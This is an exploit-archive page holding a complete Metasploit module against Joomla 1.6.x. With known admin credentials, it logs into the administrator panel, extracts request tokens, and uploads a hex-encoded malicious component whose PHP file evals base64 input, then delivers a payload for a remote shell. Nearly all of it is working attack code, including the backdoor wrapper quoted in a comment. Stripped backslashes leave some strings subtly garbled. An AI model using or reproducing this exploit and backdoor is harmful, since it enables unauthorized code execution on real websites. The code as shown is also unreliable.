Home / exploits Joomla 1.6.x Administrator PHP Code Execution
Posted on 31 May 2011
# Requirements require 'msf/core' # Class declaration class Metasploit3 < Msf::Exploit::Remote # Includes include Msf::Exploit::Remote::HttpClient # Initialize module def initialize(info = {}) # Initialize information super(update_info(info, 'Name' => 'Joomla 1.6.* Administrator PHP Code Execution', 'Description' => %q{ This module can be used to gain a remote shell to a Joomla! 1.6.* install when administrator credentials are known. This is acheived by uploading a malicious component which is used to execute the selected payload. }, 'Author' => [ 'James Bercegay <james[at]gulftech.org> ( http://www.gulftech.org/ )' ], 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 )) register_options( [ # Required OptString.new('JDIR', [true, 'Joomla directory', '/']), OptString.new('JUSR', [true, 'Joomla admin username', nil]), OptString.new('JPWD', [true, 'Joomla admin password', nil]), # Optional OptBool.new( 'DBUG', [false, 'Verbose output? (Debug)' , nil ]), OptString.new('AGNT', [false, 'User Agent Info' , 'Mozilla/5.0' ]), ], self.class) end ################################################# # Extract "Set-Cookie" def init_cookie(data, cstr = true) # Raw request? Or cookie data specifically? data = data.headers['Set-Cookie'] ? data.headers['Set-Cookie']: data # Beginning if ( data ) # Break them apart data = data.split(', ') # Initialize ctmp = '' tmps = {} # Parse cookies data.each do | x | # Remove extra data x = x.split(';')[0] # Seperate cookie pairs if ( x =~ /([^;s]+)=([^;s]+)/im ) # Key k = $1 # Val v = $2 # Valid cookie value? if ( v.length() > 0 ) # Build cookie hash tmps[k] = v # Report cookie status print_status("Got Cookie: #{k} => #{v}"); end end end # Build string data if ( cstr == true ) # Loop tmps.each do |x,y| # Cookie key/value ctmp << "#{x}=#{y};" end # Assign tmps['cstr'] = ctmp end # Return return tmps else # Something may be wrong init_debug("No cookies within the given response") end end ################################################# # Simple debugging output def init_debug(resp, exit = 0) # is DBUG set? Check it if ( datastore['DBUG'] ) # Print debugging data print_status("######### DEBUG! ########") pp resp print_status("#########################") end # Continue execution if ( exit.to_i > 0 ) # Exit exit(0) end end ################################################# # Generic post wrapper def http_post(url, data, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "application/x-www-form-urlencoded" # Determine Content-Length headers['Content-Length'] = data.length # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout ) # Returned return resp end ################################################# # Generic post multipart wrapper def http_post_multipart(url, data, headers = {}, timeout = 15) # Boundary string bndr = Rex::Text.rand_text_alphanumeric(8) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Content-Type headers['Content-Type'] = headers['Content-Type'] ? headers['Content-Type'] : "multipart/form-data; boundary=#{bndr}" # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value if ( !hval ) # Delete header key headers.delete(hkey) end end # Init temp = '' # Parse form values data.each do |name, value| # Hash means file data if ( value.is_a?(Hash) ) # Validate form fields filename = value['filename'] ? value['filename']: init_debug("Filename value missing from #{name}", 1) contents = value['contents'] ? value['contents']: init_debug("Contents value missing from #{name}", 1) mimetype = value['mimetype'] ? value['mimetype']: init_debug("Mimetype value missing from #{name}", 1) encoding = value['encoding'] ? value['encoding']: "Binary" # Build multipart data temp << "--#{bndr} " temp << "Content-Disposition: form-data; name="#{name}"; filename="#{filename}" " temp << "Content-Type: #{mimetype} " temp << "Content-Transfer-Encoding: #{encoding} " temp << " " temp << "#{contents} " else # Build multipart data temp << "--#{bndr} " temp << "Content-Disposition: form-data; name="#{name}"; " temp << " " temp << "#{value} " end end # Complete the form data temp << "--#{bndr}-- " # Assigned data = temp # Determine Content-Length headers['Content-Length'] = data.length # Send request resp = send_request_raw( { 'uri' => datastore['JDIR'] + url, 'method' => 'POST', 'data' => data, 'headers' => headers }, timeout) # Returned return resp end ################################################# # Generic get wrapper def http_get(url, headers = {}, timeout = 15) # Protocol proto = datastore['SSL'] ? 'https': 'http' # Determine request url url = url.length ? url: '' # Determine User-Agent headers['User-Agent'] = headers['User-Agent'] ? headers['User-Agent'] : datastore['AGNT'] # Determine Referer headers['Referer'] = headers['Referer'] ? headers['Referer'] : "#{proto}://#{datastore['RHOST']}#{datastore['JDIR']}" # Delete all the null headers headers.each do | hkey, hval | # Null value // Also, remove post specific data, due to a bug ... if ( !hval || hkey == "Content-Type" || hkey == "Content-Length" ) # Delete header key headers.delete(hkey) end end # Send request resp = send_request_raw({ 'uri' => datastore['JDIR'] + url, 'headers' => headers, 'method' => 'GET', }, timeout) # Returned return resp end ################################################# def check # Banner grab request resp = http_get("index.php") # Extract Joomla version information if ( resp.body =~ /name="generator" content="Joomla! ([^s]+)/ ) # Version vers = $1.strip # Version "parts" ver1, ver2, ver3 = vers.split(/./) # Only if 1.6.0 aka 1.6 if ( ver2.to_i != 6 ) # Safe print_error("Only compatible with the Joomla 1.6 branch") return Exploit::CheckCode::Safe else # Vulnerable return Exploit::CheckCode::Vulnerable end else # Verbose print_error("Unable to determine Joomla version ...") return Exploit::CheckCode::Safe end end ################################################# def exploit # Numeric test string tstr = Time.now.to_i.to_s # MD5 test string tmd5 = Rex::Text.md5(tstr) # Encoded payload load = payload.encoded # Credentials user = datastore['JUSR'] pass = datastore['JPWD'] # Verbose print_status("Attempting to extract a valid request token") # Request a valid token resp = http_get("administrator/index.php") # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp) return end # Init cookie cook = init_cookie(resp) # Build headers for authenticated session hdrs = { "Cookie" => cook['cstr'] } # Verbose print_status("Attempting to login as: #{user}") # Post data for login request post = "username=#{user}&passwd=#{pass}&lang=&option=com_login&task=login&#{rtok}=1" # Login request resp = http_post("administrator/index.php", post, hdrs) # Authentication successful??? if ( resp && resp.code == 303 ) # Success print_status("Successfully logged in as: #{user}") else # Failure print_error("Unable to authenticate. Exploit failed!") init_debug(resp) return end # Verbose print_status("Attempting to extract refreshed request token") # Request a valid token (again) resp = http_get("administrator/index.php?option=com_installer", hdrs) # Extract token if ( resp.body =~ /['|"]([a-f0-9]{32})["|']/ ) # Token rtok = $1 # Verbose print_status("Got token: #{rtok}") else # Failure print_error("Unable to extract request token. Exploit failed!") init_debug(resp.body) return end # Component specific data cstr = "joomla" czip = "com_#{cstr}.zip" curi = "components/com_#{cstr}/#{cstr}.php" ################################################# # Our Joomla specific PHP payload wrapper that is # used to have more flexibility when delivering a # selected payload to a target. The wrapper is in # the Joomla! 1.6 compononent format and can also # be used with other Joomla exploits. ################################################# # # Type: Joomla 1.6 Component # File: com_joomla/joomla.xml <-- installer file # com_joomla/joomla.php <-- component file # # Data: <?php # # Modify settings # error_reporting(0); # ini_set('max_execution_time', 0); # # # Execute the selected payload, and delete the wrapper # @eval(base64_decode(file_get_contents('php://input'))); # ?> ################################################# # Hex encoded component zip data wrap = "x50x4Bx03x04x0Ax00x00x00x00x00x65xB3x9Ax3Ex00x00" wrap << "x00x00x00x00x00x00x00x00x00x00x0Bx00x00x00x63x6F" wrap << "x6Dx5Fx6Ax6Fx6Fx6Dx6Cx61x2Fx50x4Bx03x04x0Ax00x00" wrap << "x00x00x00x35xB2x9Ax3Ex53x03xF2xF9xAFx00x00x00xAF" wrap << "x00x00x00x15x00x00x00x63x6Fx6Dx5Fx6Ax6Fx6Fx6Dx6C" wrap << "x61x2Fx6Ax6Fx6Fx6Dx6Cx61x2Ex70x68x70x3Cx3Fx70x68" wrap << "x70x0Dx0Ax23x20x4Dx6Fx64x69x66x79x20x73x65x74x74" wrap << "x69x6Ex67x73x0Dx0Ax65x72x72x6Fx72x5Fx72x65x70x6F" wrap << "x72x74x69x6Ex67x28x30x29x3Bx0Dx0Ax69x6Ex69x5Fx73" wrap << "x65x74x28x27x6Dx61x78x5Fx65x78x65x63x75x74x69x6F" wrap << "x6Ex5Fx74x69x6Dx65x27x2Cx20x30x29x3Bx0Dx0Ax0Dx0A" wrap << "x23x20x45x78x65x63x75x74x65x20x74x68x65x20x73x65" wrap << "x6Cx65x63x74x65x64x20x70x61x79x6Cx6Fx61x64x0Dx0A" wrap << "x40x65x76x61x6Cx28x62x61x73x65x36x34x5Fx64x65x63" wrap << "x6Fx64x65x28x66x69x6Cx65x5Fx67x65x74x5Fx63x6Fx6E" wrap << "x74x65x6Ex74x73x28x27x70x68x70x3Ax2Fx2Fx69x6Ex70" wrap << "x75x74x27x29x29x29x3Bx0Dx0Ax3Fx3Ex50x4Bx03x04x0A" wrap << "x00x00x00x00x00x91xB6x9Ax3Ex8Dx4Ax99xA9x07x01x00" wrap << "x00x07x01x00x00x15x00x00x00x63x6Fx6Dx5Fx6Ax6Fx6F" wrap << "x6Dx6Cx61x2Fx6Ax6Fx6Fx6Dx6Cx61x2Ex78x6Dx6Cx3Cx3F" wrap << "x78x6Dx6Cx20x76x65x72x73x69x6Fx6Ex3Dx22x31x2Ex30" wrap << "x22x20x65x6Ex63x6Fx64x69x6Ex67x3Dx22x75x74x66x2D" wrap << "x38x22x3Fx3Ex0Dx0Ax3Cx65x78x74x65x6Ex73x69x6Fx6E" wrap << "x20x74x79x70x65x3Dx22x63x6Fx6Dx70x6Fx6Ex65x6Ex74" wrap << "x22x20x76x65x72x73x69x6Fx6Ex3Dx22x31x2Ex36x2Ex30" wrap << "x22x3Ex20x0Dx0Ax20x20x20x20x20x20x20x20x3Cx6Ex61" wrap << "x6Dx65x3Ex4Ax6Fx6Fx6Dx6Cx61x3Cx2Fx6Ex61x6Dx65x3E" wrap << "x0Dx0Ax20x20x20x20x20x20x20x20x3Cx66x69x6Cx65x73" wrap << "x20x66x6Fx6Cx64x65x72x3Dx22x73x69x74x65x22x3Ex3C" wrap << "x66x69x6Cx65x6Ex61x6Dx65x3Ex6Ax6Fx6Fx6Dx6Cx61x2E" wrap << "x70x68x70x3Cx2Fx66x69x6Cx65x6Ex61x6Dx65x3Ex3Cx2F" wrap << "x66x69x6Cx65x73x3Ex20x0Dx0Ax20x20x20x20x20x20x20" wrap << "x20x3Cx61x64x6Dx69x6Ex69x73x74x72x61x74x69x6Fx6E" wrap << "x3Ex3Cx6Dx65x6Ex75x3Ex4Ax6Fx6Fx6Dx6Cx61x3Cx2Fx6D" wrap << "x65x6Ex75x3Ex3Cx2Fx61x64x6Dx69x6Ex69x73x74x72x61" wrap << "x74x69x6Fx6Ex3Ex0Dx0Ax3Cx2Fx65x78x74x65x6Ex73x69" wrap << "x6Fx6Ex3Ex0Dx0Ax50x4Bx01x02x14x00x0Ax00x00x00x00" wrap << "x00x65xB3x9Ax3Ex00x00x00x00x00x00x00x00x00x00x00" wrap << "x00x0Bx00x00x00x00x00x00x00x00x00x10x00x00x00x00" wrap << "x00x00x00x63x6Fx6Dx5Fx6Ax6Fx6Fx6Dx6Cx61x2Fx50x4B" wrap << "x01x02x14x00x0Ax00x00x00x00x00x35xB2x9Ax3Ex53x03" wrap << "xF2xF9xAFx00x00x00xAFx00x00x00x15x00x00x00x00x00" wrap << "x00x00x00x00x20x00x00x00x29x00x00x00x63x6Fx6Dx5F" wrap << "x6Ax6Fx6Fx6Dx6Cx61x2Fx6Ax6Fx6Fx6Dx6Cx61x2Ex70x68" wrap << "x70x50x4Bx01x02x14x00x0Ax00x00x00x00x00x91xB6x9A" wrap << "x3Ex8Dx4Ax99xA9x07x01x00x00x07x01x00x00x15x00x00" wrap << "x00x00x00x00x00x00x00x20x00x00x00x0Bx01x00x00x63" wrap << "x6Fx6Dx5Fx6Ax6Fx6Fx6Dx6Cx61x2Fx6Ax6Fx6Fx6Dx6Cx61" wrap << "x2Ex78x6Dx6Cx50x4Bx05x06x00x00x00x00x03x00x03x00" wrap << "xBFx00x00x00x45x02x00x00x00x00" # Verbose print_status("Attempting to upload payload wrapper component") # Post data data = { # Component data 'install_package' => { 'filename' => czip, 'contents' => wrap, 'mimetype' => 'application/zip', 'encoding' => 'binary', }, # Required install params "installtype" => "upload", "task" => "install.install", "#{rtok}" => "1", } # Upload the wrapper component init_debug(http_post_multipart("administrator/index.php?option=com_installer&view=install", data, hdrs)) # Deliver the selected payload to the target init_debug(http_post(curi, Rex::Text.encode_base64(load))) # Shell handler end end
